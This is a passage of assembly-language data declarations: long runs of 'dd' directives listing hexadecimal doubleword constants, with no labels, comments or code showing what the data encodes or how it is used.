2501FC75h, 80878C65h, 0F83F5ED3h dd 8BCFC338h, 164D82BBh, 0B32EE1A4h, 682D68D5h, 0E55096EBh dd 356B4C49h, 5D650470h, 5FDBBF02h, 0FBC018C8h, 295F6D05h dd 2C39F555h, 0C4A516F2h, 9C6BAA92h, 0D1001923h, 1CB53C22h dd 0AD897A2h, 0C65C26h, 0CE32B92h, 0C24F368Bh, 0B14C8860h dd 942B13CAh, 2829B0DEh, 5D056EB5h, 370481C6h, 0AC726F17h dd 9FE9F4EEh, 14007AA8h, 0D705E53Dh, 160752FCh, 0AC20E9E2h dd 606E4B04h, 19370A00h, 0EF63D148h, 0EB812301h, 6F9BE635h dd 3D06B86Eh, 8BC7BFC1h, 7F4F91D2h, 1D9504B5h, 36DD80DDh dd 511E190h, 0EAAA3B07h, 0DFE100BAh, 0F51E86Eh, 40E33FEDh dd 0BF505B01h, 0FA2F9E46h, 0CDBFAC50h, 0F4ABE09Bh, 47164EA5h dd 12FFB577h, 1392B93Ah, 6FAA6A5Fh, 84AB0177h, 0DF0DE830h dd 0D49DEE70h, 31131248h, 1D502021h, 2AED0C19h, 132BF98Dh dd 0E07BA64Dh, 31EE4BCh, 25B07523h, 0D225ABC0h, 583EA9F8h dd 65B7259Ah, 817BB77Dh, 6B79A2FFh, 0CFD2407Ah, 1597C03Bh dd 0D3E4121h, 50DFF065h, 0D7AE481Dh, 0B0D4BB41h, 0E93B1B75h dd 0E114A8D5h, 3F2D11C2h, 42DF21F0h, 2DA1CD03h, 8147852Ah dd 42D110Eh, 56778CAFh, 90615912h, 0F4DFC8AAh, 15F75001h dd 0A8BC46E7h, 0DC51DEh, 48294E6Fh, 131664C1h, 440047B1h dd 0C4405A63h, 0A32709CEh, 815F4182h, 905F466Ch, 0A1B89129h dd 0BD05224Fh, 8BE71519h, 2912FC48h, 0D622E233h, 9B05176Bh dd 0FF3AE8C7h, 5510FE2h, 0E9A5A8F7h, 2C2EF5D3h, 1941272Ch dd 8D096B63h, 2383A022h, 4407E99Ch, 5B568AE7h, 0EE5BB878h dd 0C592B03h, 96B39809h, 0C0F6B771h, 7D95AED4h, 0F8B625DBh dd 0D7D62E7Dh, 4AA230FFh, 9E3CA282h, 399289E7h, 495B58E2h dd 5704A65Fh, 0C4EFB360h, 2FB6BF47h, 6005E197h, 54A994Ch dd 3CB3D1DCh, 0BCCE6A1Fh, 0A2185BBh, 0F54BA7E9h, 0BE10415Eh dd 0A7612BB4h, 63890135h, 5956D8B7h, 70E4AFh, 8E885F5h dd 0E789A0BFh, 0A55B0A24h, 30B9B100h, 9FC75F7h, 71E4EDC8h dd 0BC40DCF4h, 0E2820Ah, 8E3D5F85h, 0C1D82A26h, 0EF809404h dd 0A6AD5B57h, 1CB3F522h, 7C9D290Bh, 0B044A51Dh, 0CC62DA43h dd 23C05630h, 8B9525B7h, 4FC475A8h, 0F32EBB7Dh, 0F420D3D8h dd 50C92AE1h, 9F919F8h, 0C82B2649h, 0FB2BCCFDh, 0D164AB57h dd 1D9EF2EEh, 0B381D781h, 99E965DEh, 0D59D1940h, 6A858921h dd 91BF3284h, 2BB35A13h, 0D61CB21h, 438A300Dh, 175D7B12h dd 880DBCB4h, 0E92DFE8Bh, 0E4E94467h, 13F99705h, 52401044h dd 0CA55E1ECh, 97E51700h, 2DFAEDB7h, 7F8316B5h, 26C1889Ch dd 52090672h, 7F542239h, 30488364h, 0ED9C4F4h, 0E8A1E2ACh dd 0B94A100Ah, 0A749079Bh, 6430ED25h, 5F219376h, 283AE42h dd 0EDDDC7BBh, 0C2E45653h, 4C089CA5h, 5A703580h, 0B2D0B85Fh dd 78019B30h, 0D927AB5Fh, 0E090576Fh, 0BA4FC780h, 0DA824DFDh dd 0E4D86DB9h, 0F084BB04h, 0D4AC09D3h, 62EC9671h, 5953C02Bh dd 4358DD72h, 7871E5Bh, 2839F029h, 27B3D22Bh, 1AFE048Dh dd 0C0F2AE55h, 283321FFh, 884E8076h, 8C875DF8h, 4E207F05h dd 8A1FBDECh, 665BFE18h, 5BEF8199h, 4A4CF8B4h, 0CC0CCBDh dd 0FFA3929Bh, 4B4D8D12h, 1731E5CCh, 0FA103D85h, 0E63E372Dh dd 5C64B07Fh, 0E8DA5F8Ah dd 9D7B837h, 4E067B7Eh, 9005355h, 1C7F18F5h, 233F4495h dd 2B4725FAh, 4DFBBF02h, 0DB5F5131h, 2653521Eh, 37F4ED00h dd 23260D3h, 0BD09E1FFh, 1CD52251h, 5ED1699Dh, 0C1006D5Dh dd 2B7DB994h, 0D3C1A928h, 986FEB48h, 0F389672Dh, 5F46BC51h dd 0CEB72E4Bh, 0D98C0B48h, 1DC507Ch, 0FA94E743h, 7BBFC8EEh dd 2674CFE3h, 2635F6h, 0B9D2D8D5h, 0E63AAD53h, 74CE0404h dd 0B6ACD00Fh, 12B0F526h, 0C3CCBB51h, 0CCFD8A34h, 0CE99D7h dd 5B73FD3h, 9E7BECE1h, 0CBBD0B5Fh, 0B57AFA4Ah, 4A64624h dd 0ACF41EF3h, 17C4A46Ch, 3CFBAEC4h, 0F913B7BBh, 56B35061h dd 92F76627h, 0CD66ACh, 3EB2F386h, 1EF29B2Ch, 0EA57E100h dd 5FC80E45h, 5C5D0406h, 0FB8B15D2h, 77F7A8Ch, 2D41628Fh dd 1F96B00Ah, 383AD5ACh, 17B809D4h, 160913C3h, 0AB58F878h dd 0A82F316Eh, 2009A311h, 0F39F32C8h, 0C31779ABh, 0E1BA2584h dd 4BE02EF2h, 50538131h, 1B7B1E71h, 63D6ED00h, 1F3AB5CAh dd 195102E0h, 0E842992h, 4FAB1AD5h, 0C6F34055h, 6F49E9E7h dd 0D3B31232h, 6F4F83B2h, 0A67024D7h, 0A1D20B3Fh, 19A5051Eh dd 61615992h, 0D3DD958h, 25E92576h, 6682435Bh, 56BE86BFh dd 0F98A628Eh, 6BCAD177h, 25D44E7Ch, 0BAFE8740h, 131909E3h dd 0A604460Dh, 20E458A4h, 8F5AB718h, 0D1B56012h, 43CD88h dd 6892DE0Eh, 1C77B88Ch, 617EE40Bh, 0D7379896h, 70FA9Ch dd 0FE50452Ch, 0BD290868h, 4BD53D5Bh, 0A533F6AEh, 40804BB9h dd 30216A68h, 0E45C0F0Fh, 1D0101BEh, 8AE462EBh, 0F9578A08h dd 0D88B09CFh, 0FE120A56h, 2B62F80Fh, 1C467FF9h, 38E7E748h dd 0BA2A4588h, 4D00AC7Ah, 0F5BBC520h, 3F480805h, 0C39E92A6h dd 5BF3E581h, 7D7870C2h, 4860215Bh, 9C98064h, 0F56153FFh dd 0BB6A0359h, 0B0019963h, 0EA64C27h, 187A0FBEh, 0FA5A1DE0h dd 0BA4E9B74h, 0DB9C88h, 0C0F71507h, 0FDBB11CDh, 4DA6BD13h dd 33B61AFCh, 41E9F817h, 61B0B9B7h, 0E54B9BD5h, 0A52558ACh dd 0ED5DA70Bh, 0C45FF42Eh, 0A0AABD25h, 9D60A846h, 0B17D99C0h dd 983202BFh, 525B74ACh, 0B800BCC6h, 0BC58686Eh, 0A2977Ah dd 0D15B7821h, 0B767D38Ch, 0FC963D27h, 0D2E65902h, 0BEF3DDDh dd 0F5845E4Dh, 35048BDFh, 9BBA4CB9h, 66AC06Bh, 5CF2C72h dd 0CD95296Eh, 0C087ED1Eh, 0BC1854BFh, 0E2159546h, 9923940h dd 0DE6B5897h, 0EAD3B584h, 0A5C046DEh, 6DD8C67Ah, 7564742Dh dd 0EDFDBF12h, 211565D1h, 3FB3F857h, 0C29859C3h, 0F8F9DF50h dd 0F2C6582Dh, 281100C8h, 26DF8A2Ah, 502D029h, 4217614h dd 0D56694h, 0ACC6D6F6h, 54464F12h, 5C175025h, 897F69ECh dd 0F3990986h, 0C59C70E9h, 0B58324Ch, 12302DBDh, 5B227786h dd 0EBA9F6B7h, 0F6F75Eh, 12D58E2Ah, 0FD9D293Eh, 0FC712AE7h dd 0EB4D21B3h, 0D63F9B7Bh, 68A3CDFAh, 895C1284h, 0A27FFBA1h dd 85318F1Ah, 6FAA1B65h, 11A231Bh, 1C9B6688h, 2A3BE1A8h dd 0C784A918h, 85894A0Eh, 9FE9DB85h, 0F838E940h, 51B2E0EAh dd 5661D11Dh, 3AE6213Ah, 0AD342A7Ch, 5F32E2EAh, 0BB66AB30h dd 6A03203Dh, 65BF3890h, 0D78100B6h, 2370F7E0h, 1FB6D3BFh dd 20A90BDh, 0EFEDBB50h, 0A7A85494h, 0B1D69E10h, 667AC0Eh dd 5851A095h, 0B37165Fh, 1BFBC055h, 0DCB59ED0h, 0CB815007h dd 2D2D50EEh, 0D6CCF432h, 9EC3179Ch, 0F15091F5h, 88C2F205h dd 85098326h, 0D94C0D5Dh, 0CAEBD2C1h, 7FB05E4Ch, 6BE67B6Eh dd 845DFB4Dh, 9BBF03C3h, 0C019C84Fh, 9286BCA4h, 0D8E2A02Fh dd 0A4DC9774h, 8ABFF865h, 733BA039h, 98DEB583h, 771B5DD4h dd 1E3DEF80h, 0A917ECDAh, 549A27Fh, 0C4EB5132h, 0EC87B961h dd 6F0E0922h, 12F78937h, 5573579Eh, 85581551h, 0B7A17488h dd 6DC2687Ch, 0C65F021Eh, 18B1647Ch, 0B33F2259h, 0D952C920h dd 0A0F52F78h, 0D94891E9h, 5ACB01DEh, 0E95F9E58h, 5012BCFh dd 345BD31h, 8D81CC3Fh, 0E3E80F5Fh, 7AED5AAEh, 0AA3E8801h dd 4290A19Fh, 0F42904C3h, 0AD002D86h, 908DE9BFh, 0C56FCD95h dd 1FE5FB87h, 5DE8CD7Dh, 0BB9ECE00h, 0B7BF75A0h, 2FB38185h dd 2733E880h, 0A0064F0Ch, 32F054Ah, 53EBD2BDh, 0A84BBD50h dd 0A001CFA2h, 4440DABAh, 489259Ch, 2F2377Dh, 60767591h dd 5F00B951h, 0C83F7E6Fh, 30010156h, 6B78D1AFh, 8EAD2E6Ah dd 0CD0072B8h, 3250C9BBh, 2FF3CFBFh, 97F5B69h, 8088B72Eh dd 0AC21CED6h, 62018077h, 96ECD2BBh, 0B63FF537h, 0E1574E0Bh dd 0CC8112BCh, 7E0A329Dh, 2B194582h, 35B5F8EEh, 81DE274Bh dd 0E09CB68Fh, 8D8589B4h, 9DA8BE18h, 0C1FFD735h, 7F116D14h dd 0B6A43EB2h, 0F3F3B54Dh, 6A574D04h, 0C0A5DB02h, 90052E87h dd 0A7D701BBh, 0B7501DFCh, 0A0BD6B32h, 0BC25B0B8h, 0C65192h dd 0A9DA9DE4h, 0E2B7222Dh, 0F7695736h, 0DB27A5Bh, 6287F0A9h dd 0CEB0C94Ah, 0E9084049h, 5DEC3A5Bh, 0C3483DE2h, 0FCE4F88Ah dd 0A8E6BB04h, 6BAA072Bh, 1C2333h, 6B0741FCh, 3D1727F8h dd 62127186h, 37975EACh, 7E3250A3h, 0BE012B04h, 0E165B8BAh dd 4170584Ch, 0FE0502F2h, 50613ACBh, 6F402DDCh, 0C2BAA8h dd 0FCEB6D19h, 2E8EB5E6h, 74BD4E7Bh, 370BDC3Ch, 758528E2h dd 0FD60E98Bh, 0B195D4B7h, 827F563Dh, 5B040374h, 0C5D728FFh dd 0E1921F42h, 75DCE60Bh, 0E59107DCh, 3878261h, 0EA81D883h dd 14C02EB3h, 0B830CED7h, 20392523h, 1F4D8F6h, 0F155FE07h dd 2F9B6A7Ah, 9FF24AB0h, 9EBFE5C6h, 0CCD901B0h, 0F2989D42h dd 8A827A8Dh, 0BF3F586Dh, 50A24E9Ch, 0B046A77Dh, 81EC7709h dd 0F90C6D2Fh, 153D8844h, 2C3F42Dh, 7BA7F4C8h, 8728CD11h dd 8A54C29Ah, 6BAC5625h, 0F06B44FCh, 0DC134133h, 0E2BF61F9h dd 84CD793Dh, 52B59D31h, 132A9EA1h, 0DD19308Dh, 0CA0086A4h dd 0CF8E44FAh, 3098E090h, 9D7A2BDFh, 93950B09h, 0A349C293h dd 4A76E988h, 3F90F143h, 7FF96587h, 109519E4h, 86154589h dd 6E891097h, 0EF28077Ch, 0C4A8541Eh, 0D774FF44h, 1ABDF581h dd 9075F902h, 72FA8AA6h, 574C958Bh, 0BF9D78B7h, 22431BCCh dd 3198568Ch, 345F1140h, 5D6CB8B7h, 1F518964h, 208194FDh dd 0A997AB12h, 81723790h, 835B1220h, 94DA3F85h, 0E6C41DC8h dd 0FB4AC980h, 93F50245h, 0DCB97F86h, 455B647Fh, 1F932FD9h dd 0ABDBB563h, 3FC8BFD7h, 0B78CA4B8h, 7BA141E0h, 67AC015Fh dd 0D22B6182h, 18746F5Fh, 0DFBFA8B3h, 645B5625h, 1DE6804Bh dd 0EC829C03h, 931DFC2h, 117D2292h, 6E49762Bh, 802B1595h dd 0EB8412BFh, 0EF5ABB65h, 2F2313E0h, 7AF0D59Dh, 0DA79D697h dd 6E604C4Dh, 15A62ED6h, 9E2B41B8h, 0E8DCBD4Bh, 3DFF58B5h dd 0C08D98C7h, 0A2B796B1h, 71168100h, 0BBB6990Bh, 3B190B58h dd 64DF7A74h, 7B1A95ADh, 670320D1h, 0D8D74660h, 0F8A85651h dd 86A74886h, 921AF113h, 98D3E18Dh, 0B5221B70h, 8B25E0D8h dd 1E8D65FEh, 626F2511h, 8BAC2F44h, 534D03A3h, 9C5BCA4h dd 50D06C65h, 6916B02h, 53E85F04h, 1C968A4Ah, 0FD250496h dd 2E000437h, 0E0598472h, 78D3BB60h, 0E54FC691h, 128B7AEFh dd 0D9ACC62Dh, 67F62725h, 12658584h, 0C2016661h, 0DA78295Bh dd 9A2C1FCFh, 35F7E52Bh, 0D21C156Eh, 9776F296h, 0D7301CE8h dd 8061F206h, 6BFA20D3h, 5C615B15h, 287142EAh, 1EA98901h dd 56E68005h, 0A39D5B53h, 0FABF66F5h, 4C69E895h, 8229736h dd 680328B9h, 0A07BB8D8h dd 805A5FB3h, 0A3662744h, 0D3DB5F5Fh, 62E11186h, 0F9D452EFh dd 46D616FCh, 87F25F18h, 62D55A69h, 4F73DFCFh, 0B9E451F8h dd 147FA73Fh, 0DE3709DCh, 0BF5056E9h, 2DC8094h, 60A44896h dd 49E2EF8Ah, 6156A457h, 0BDC361EAh, 0C2226B99h, 99537FD7h dd 7DDAD7D2h, 31D51895h, 2E4D258Dh, 29E742F6h, 0C4AB75C9h dd 0CDEB6EFCh, 0E07D4B7Dh, 9F9DAD89h, 0B6D01442h, 0F60BB927h dd 359D5012h, 75190869h, 0EC5424CAh, 0C778C32Bh, 1F0A0013h dd 0ED0D36F0h, 0BD2A2B48h, 0F99DAEF5h, 0B9AB83D5h, 0AED8DE5Ah dd 0B1020A45h, 0D0077038h, 0FF8B8B73h, 7E503CE1h, 0AA8588h dd 1571E30h, 0ADC83C27h, 0DFFD7D01h, 965B35F3h, 15D6E2Fh dd 55E58D87h, 0F33AD6F6h, 12774C95h, 57A908E1h, 98C17BCh dd 0E9CCEE76h, 0C5929EF5h, 0AF266D7Ah, 858DC2A3h, 60B64213h dd 0F3926963h, 3D307AD7h, 0FDF05F52h, 0D9BCB43Fh, 83795F82h dd 57B109B9h, 55CE1261h, 537A5FC4h, 0D01BE000h, 0D28372A7h dd 9B585F62h, 2BE48016h, 766975Eh, 821518F8h, 0F2BB6133h dd 56BD6BCCh, 8303CEFCh, 0FA8A508Eh, 0B6BEFC89h, 3071E74Eh dd 6B2EE965h, 0C1523ABh, 6EE0A5F9h, 55A81C4Ah, 85B79B4Bh dd 1780A5D0h, 4F9F42E2h, 0B1C98871h, 0F057B701h, 300A3A7Eh dd 10CDCF7Fh, 4CF22B9Dh, 0A057003Fh, 0BCC7DFF1h, 57CADB2Fh dd 0B755190Bh, 0F418035h, 86C660E7h, 2E16F416h, 0EC92DABBh dd 16889314h, 1F15EA79h, 4C36BC0Bh, 0A516D64Ah, 0E24DA80Dh dd 0C6FD297Ch, 5D9D12CAh, 63073C13h, 0DDF933CBh, 15E10A4Fh dd 302E7E12h, 0FDB509A3h, 0BBC6BEDh, 0D7A900ABh, 54B357B0h dd 0D381022Fh, 8BD93F3h, 5CEB865Ch, 4E01D453h, 870A0B2Ch dd 0D3424558h, 413057FAh, 602F4C56h, 4EB95401h, 0D3C5BFE0h dd 0BE00533Fh, 49A4A05h, 2F239661h, 42D9DDBDh, 0CD616045h dd 29F1958Bh, 19C68000h, 0FCF56125h, 1C46D662h, 0C6AAFF00h dd 1D7E5D08h, 81FE6B0Fh, 39B42EBh, 60C4B123h, 83002D33h dd 4893B75Dh, 0F759F81Bh, 0F595C24Ah, 1265FF14h, 0A74425h dd 671577A7h, 0B0975819h, 0A428D8E4h, 732F92D3h, 2D785865h dd 3E619614h, 71172EFEh, 0BBB561B7h, 4F09D4E3h, 0EC7D0539h dd 8EB57551h, 2D0C3597h, 5299A4FFh, 2155A881h, 0BF0BFD2Dh dd 0E85DE09Ch, 465BDB1Dh, 8D9CE4CDh, 0A7430075h, 85916D0Fh dd 0B7BC950Ch, 0F2CEAE42h, 85E4C52Eh, 24F6AE1Eh, 72B271E5h dd 0D086E4FEh, 0EC893831h, 0C60432A9h, 4AAD54B3h, 0F8D8CBE0h dd 0DDF6050Ah, 0F6D881Dh, 0AF334A9Dh, 0E33F0589h, 0C16E8097h dd 0F888D2h, 0BB9086DAh, 3AE536E8h, 2485DBB7h, 4B02103Ch dd 343A81EFh, 0F2A63E24h, 0B4545AF0h, 0CC046571h, 12B98589h dd 612AF12h, 14B26EB6h, 50B74F30h, 8A95B196h, 0D3EB255Ch dd 0D6F450E4h, 0FC60642Eh, 0B9F3BB03h, 6183BF5Eh, 0A2FB94F8h dd 403A00FEh, 957F52E4h, 0FEB74AE0h, 282E97DDh, 5B973C44h dd 26820ECh, 76C568D1h, 0F3D50A30h, 5A7149B9h, 0A6EDEB80h dd 581687Dh, 2CEF99Ch, 9BE4BA30h, 5EDFAA1Bh, 0A5CA2CF2h dd 8305BFF7h, 0E290C79h, 9D234EE8h, 5B22D925h, 181C7952h dd 0F9AD002Ch, 1CEF6DDh, 0F89FBB78h, 5D3256B0h, 0B82EA541h dd 0DA8BA198h, 0EF75752Fh, 0BF5ACB6Ah, 0BD72FB37h, 5F9E551Dh dd 9F015844h, 555CD562h, 0F28A0FE2h, 4A639F96h, 6EDCAF84h dd 0C370087h, 7C2E4C2Fh, 5E00C668h, 0B2420B04h, 1CE29EB7h dd 5F583849h, 123DAD61h, 16A50C01h, 0BC2F7F3Dh, 0EEFB5D3h dd 0FB77E96Eh, 0C1C95D24h, 6E3AC1D9h, 68FB071Ch, 0CF10E65Fh dd 9829BBF8h, 7D035956h, 73B7CED6h, 0CB2EB509h, 132C740Ah dd 31790058h, 0A3C0814Dh, 0A4986F5Ah, 0F79F0050h, 4CCCE34Ah dd 271C9755h, 0D38078E2h, 3389C5FDh, 0F960BFD2h, 59091509h dd 8310348Bh, 0C0F68175h, 3741E347h, 5010CE8Ah, 2B0277E5h dd 7DAD9D5Ah, 86FA1864h, 0F10386BCh, 30BEE28h, 0B74A0089h dd 0D5CF8074h, 161EA83h, 4A5B5DB0h, 30A902A0h, 0FA491E69h dd 0B5A290E4h, 7CB793C1h, 1C584B8h, 0E9045803h, 3851280h dd 0EA800798h, 1000208Dh, 26139B60h, 0E66108EEh, 678300FDh dd 0E402DFACh, 0F1368D54h, 903840D7h, 0CA2B7461h, 30C0A11h dd 0C7CCC25Ch, 1DF15800h, 0AF366862h, 8BE6185Eh, 0B3ED29F0h dd 0E132B900h, 0B23468D4h, 8019C641h, 0C47899E3h, 0E730F260h dd 716FB3Bh, 60CC69F1h, 0A827768Bh, 0D544E100h, 0EF545501h dd 9777787h, 8FE409FAh, 916BB480h, 0E50C1CCCh, 0B1F6EC02h dd 8B20C85h, 5C20DFEAh, 5EE11741h, 5C7C8DE8h, 0EF065E13h dd 0D9016D6Ah, 0CA0C53B0h, 11FAEDE6h, 0AE8501B8h, 4B8FF920h dd 8C1447B4h, 0DA015D08h, 548721CEh, 50B2D13Bh, 2F23CDE1h dd 0D938Bh, 3B6CA5C8h, 16D078A9h, 97BBB18h, 0F816F18h dd 2E87ED1h, 488DE83h, 186B083Eh, 62B80568h, 896F07DDh dd 81EE3972h, 50E480E6h, 0D6F263B4h, 3C2B4A01h, 1E3B8360h dd 0B94858B0h, 29C0E1E6h, 562A5CC2h, 0CD400C6Bh, 0F809630Ah dd 54A221C0h, 62702Ah, 668CA567h, 3DB9E6EDh, 136CC30Ch dd 6022E0F2h, 0E264308Bh, 0D540155h, 0BB0A2EB8h, 9887B0C7h dd 0A68FED06h, 21146208h, 4A01B34Fh, 0C2C88DC5h, 0B58CA25h dd 8E2459Ch, 0BDC0532Ch, 4687B6C7h, 17229Eh, 3AC7B549h dd 0F258D6F8h, 0B11D920Eh, 59C74B8h, 1CBB9B16h, 0C4638800h dd 139AB66h, 1D0E8343h, 50038091h, 0F009CEB0h, 59305800h dd 0DB9371ABh, 57DF1D45h, 0CF8D4379h, 0A5C83118h, 28E2D266h dd 0A96D3800h, 95A4519Fh, 0F3BE00FFh, 0FA3C29A2h, 8B016B3Bh dd 0A6EAEB48h, 5FE0D71Ch, 31EF0EB3h, 6780DA7Dh, 0A48DF955h dd 9350F701h, 0A3585943h, 21C20898h, 0A412B59Fh, 8C0FCD1Fh dd 64516304h, 47CE90A2h, 78DF305Ch, 61E4D0F2h, 7D36E0A0h dd 679918C0h, 0C0E031EBh, 3DCFD948h, 66038398h, 6EDD3933h dd 0C8083023h, 9835A121h, 0D51D177Eh, 11C03FE4h, 7A621E58h dd 0E5DE0025h, 0EFD9FAAFh, 8C02A8Fh, 0B3AF367h, 2360FB4Dh dd 582F0076h, 0D034FEE1h, 899866E9h, 4FE68501h, 0F33FD733h dd 8A050B8h, 0ECEF79C0h, 7F93CB6h, 4AF05F60h, 98204C8Eh dd 0F87C30EAh, 0C3649CA7h, 11EA3860h, 85CDE12Eh, 524DEC00h dd 28AE9834h, 462CF780h, 0A4B60236h, 31BB50F2h, 0BE9810CEh dd 0BF0B00A4h, 0C58F0EDAh, 9A28E266h, 0C303C0C4h, 0C2F2ECD9h dd 0A01000D4h, 10931819h, 6A00D5BCh, 0BDCD426Eh, 0D7DB1Fh dd 0D8B6DF48h, 8E44114Ah, 2CBAE100h, 2BA10463h, 0CE1016A0h dd 0D47F0072h, 71B76F2Ah, 7B273200h, 4DC42366h, 80A40004h dd 93CB85AAh, 68019A39h, 989B1ED5h, 0FBF41AEAh, 0EC6300D2h dd 9A0EE2D1h, 0E73887C1h, 973C00C8h, 8F3F011Ah, 4D7000CBh dd 8C43FD0Eh, 0DC1CF4FBh, 0AF43C444h, 0F002D409h, 14B8AAh dd 1E81A806h, 1FA28E12h, 0CDCC4203h, 0A31C7354h, 0A4F3C16Bh dd 0E09384D0h, 12450070h, 0B36E139Eh, 0BD0CEE1Ah, 18745443h dd 7AEC0740h, 0C36DC78Ch, 0BC0442Ch, 0C1F0CAE6h, 5EF85B18h dd 377ACD28h, 2061E7C7h, 0E87B2348h, 0CF3BCB0Fh, 4E20A093h dd 606A9D12h, 447202D7h, 30C39A37h, 216CA71Ch, 0F407F728h dd 7730F6C7h, 1932AC44h, 78E70BFCh, 0EF6D6049h, 1CD17B68h dd 1970CC6Eh, 0C0AC6E02h, 6DC1C783h, 214298FEh, 6C63BD0Fh dd 0AF4EC058h, 5C21A1E5h dd 9810AF51h, 9AEEAEF6h, 69143902h, 0E37173B0h, 20B69Ah dd 9C052BCDh, 934D6BF2h, 0BD6A3800h, 0C9B0FE1Dh, 90C5189Bh dd 2E71B168h, 0C2424700h, 0B2F6FD36h, 1F9D74AAh, 0F176A180h dd 81419051h, 8331B531h, 0C2F0BCEEh, 1DB600F2h, 11196A32h dd 0D4E40305h, 78ABC637h, 0A8468178h, 0C092A61Ch, 0C9505E8Bh dd 0E5445BA0h, 1FF41440h, 0FA0098C6h, 0DA4DFEC3h, 0A80002C9h dd 72FC1EABh, 34E5492h, 0C2D746B2h, 7905B0ECh, 219043CFh dd 8F3E2408h, 5D5F2D69h, 93054E47h, 0CF76C1D9h, 38E3B3F3h dd 95C852EBh, 0AB24A9FCh, 5D8024E0h, 3EC9BCDCh, 0AC1300F9h dd 52B3E42Ah, 0EC07B66Ch, 82E73D9Ch, 0A444BDE0h, 101248CBh dd 0E55C305h, 46980103h, 80C817FCh, 445C6918h, 0C7EF4BF4h dd 0C0F8C910h, 0E583F7F0h, 269FECA0h, 781B3F03h, 4F909Dh dd 31A915A9h, 68BE892Dh, 0A5B9D703h, 1FB419h, 72118D30h dd 7FFF0F7h, 0E49E360h, 1F52F4C4h, 0D8CF6EE8h, 0D19718DFh dd 9F00B7E8h, 9542EA3Bh, 5AAEEDEh, 9A634C10h, 0D8A41075h dd 73248877h, 2D3EFCA8h, 0D5F07DE4h, 515BBC00h, 0D06C8EC6h dd 0A83307BEh, 409D9C99h, 0F79B4C4h, 13160B0Fh, 18B8A31Fh dd 62083064h, 0B775C21h, 67D54500h, 9788863Dh, 1FC300ACh dd 9FBFD3E2h, 92035123h, 9DCEA162h, 9B393F9Eh, 0C0B6AB9Fh dd 673E0FA2h, 0BE1ACFB8h, 17201E71h, 806F1144h, 4D24FF58h dd 44E331F6h, 2026DE50h, 0A660914Dh, 72A89928h, 802A18B5h dd 13A411CBh, 4D0CDD07h, 45737C11h, 0D8083079h, 0DD0B8B21h dd 0C0FC3E0Fh, 0A2390388h, 22D00395h, 0B8EC7B98h, 54C42801h dd 3D9DE523h, 31C844D4h, 50085C35h, 75208098h, 2ECAE52Bh dd 7975E1h, 5E80BF1Ch, 0DC72EFB4h, 220198A8h, 0A9306850h dd 97605978h, 9CD8C310h, 6E2F8h, 8C966118h, 12EE57B7h dd 282E0B00h, 0C8BD8BE1h, 3B8D03FDh, 0E06786EFh, 22265DD0h dd 0F0BCEC50h, 1B170BFh, 0D9349C31h, 0D878986Fh, 0AE002CDFh dd 3FE04A06h, 4C3B4F46h, 0FE0E12EEh, 7B60FDBFh, 32D95918h dd 0B292CB00h, 6643005h, 5189008Dh, 9B397F2Fh, 2D7C5F18h dd 25423500h, 0DC97F1ACh, 116A0202h, 8B29F0F4h, 7376F8C0h dd 0CCC6DF00h, 2F196D90h, 1160012h, 0A91FF79Dh, 0DB63FCA1h dd 0A962FD08h, 38806C6Ah, 4F36245Dh, 0C8038D31h, 0A27A5D8h dd 68103F96h, 6E162C87h, 0E7924088h, 4E00891Bh, 0F0586CC0h dd 183298EAh, 365DED8Bh, 0B80015DFh, 89185FDCh, 3FD16894h dd 10E116C6h, 0F4D8FB23h, 37E07610h, 5E1350C7h, 1A80AD3h dd 747FE548h, 0D0FEA7F0h, 680034B7h, 83A13A90h, 0CFAD6B8h dd 0E70C29E4h, 3F3BF279h, 963B7B5Bh, 18E087ADh, 78632277h dd 0B906F1ABh, 0C46AC883h, 28009343h, 913D0813h, 143C85B4h dd 8499B7AEh, 0EC5B3200h, 0A6163D9h, 0E91B060h, 0B1A19Eh dd 90CEDDD1h, 7C9A12B6h, 1FA5FE0Eh, 826038AAh, 8A1000F3h dd 0C7069E3Ch, 5F005617h, 0F492F93Ah, 159F08h, 0CA940BB7h dd 68D57D1Ah, 0FF00617Dh, 5DD8F3AAh, 0F285A8h, 4DC80E09h dd 0F42916DFh, 866D633h, 1B21000Fh, 43E5C871h, 591D3010h dd 50C07CA5h, 0B1F80390h, 669D00F6h, 0ADA829F2h, 280032E6h dd 2D71A95Eh, 3D65105h, 0DF50B28Eh, 91B77639h, 80847DA6h dd 44788530h, 42BB764h, 5426219Bh, 41E78335h, 0FDB00388h dd 0D916FCF9h, 82910460h, 0EBA15687h, 0FFF8A70h, 47F45D18h dd 1C497AC0h, 0E41D955Eh, 84FADB3Bh, 12A05BF5h, 85025A80h dd 0A47E3747h, 0EA488048h, 3D03F337h, 2B5A94C1h, 4F083349h dd 37986721h, 4B00ED22h, 0D39816D4h, 3C9CBA1h, 0BA3F05E6h dd 26DAF49Ch, 0D8618E63h, 0F0C7A839h, 0C08882C8h, 9D4E2511h dd 4406E60Dh, 0B40EA43Ah, 982D6008h, 9D464FA8h, 753091Dh dd 25E0A081h, 608C4BFBh, 0BB59A371h, 6A85E0Eh, 6EB2A048h dd 151E57Bh, 24840CF0h, 4E9CA2CFh, 0C708C8F0h, 4513B0E1h dd 5E006AF9h, 0A95BFB2Eh, 10E48B2h, 565863A1h, 50F77D75h dd 0E7F592DCh, 0F279F000h, 1A738946h, 608BE847h, 0CDB12056h dd 9B00CFE7h, 0B432A57Bh, 1884AAFCh, 0A8B9FF04h, 401DEADCh dd 1A8083E4h, 69D35433h, 0C8F500E8h, 4E11416Ah, 23008A3Ch dd 7621CBD1h, 179B4010h, 823993h, 0D513ABCBh, 0C6008AFEh dd 9F466CEBh, 1C1C0FEFh, 8064A03Ah, 7904C3F4h, 0AC073943h dd 701072B1h, 23EAF960h, 6C6E00CDh, 643E4604h, 7A794803h dd 0BF422600h, 0EAC94C86h, 93E8005Dh, 6F8F852Fh, 3900F7B0h dd 0AC73F470h, 778AB433h, 477700F2h, 3635DDA5h, 0EA30A826h dd 0C936C0Dh, 98CB3E85h, 11E0C000h, 0F9CC79C1h, 9C08C963h dd 3920000Fh, 485BC03Ch, 11D1C06h, 91018A5Fh, 0CEADC378h dd 850DD0h, 7B525AEBh, 99295CB1h, 84C4833h, 89210321h dd 945B5222h, 389BBFB0h, 5067B08h, 0C03A9ECCh, 0F70C0247h dd 0DA001159h, 21CE9013h, 850E97h, 1E8D919Ch, 870889DCh dd 74FCCB00h, 4D0BFF75h, 8CCF301Dh, 0D00DB0D0h, 9632BC00h dd 0A5093183h, 0A870007h, 4F7D35A3h, 0B2601BB5h, 23290C20h dd 20C25348h, 60AA58C4h, 0C00405EFh, 0F885EA21h, 94A01270h dd 7A002D78h, 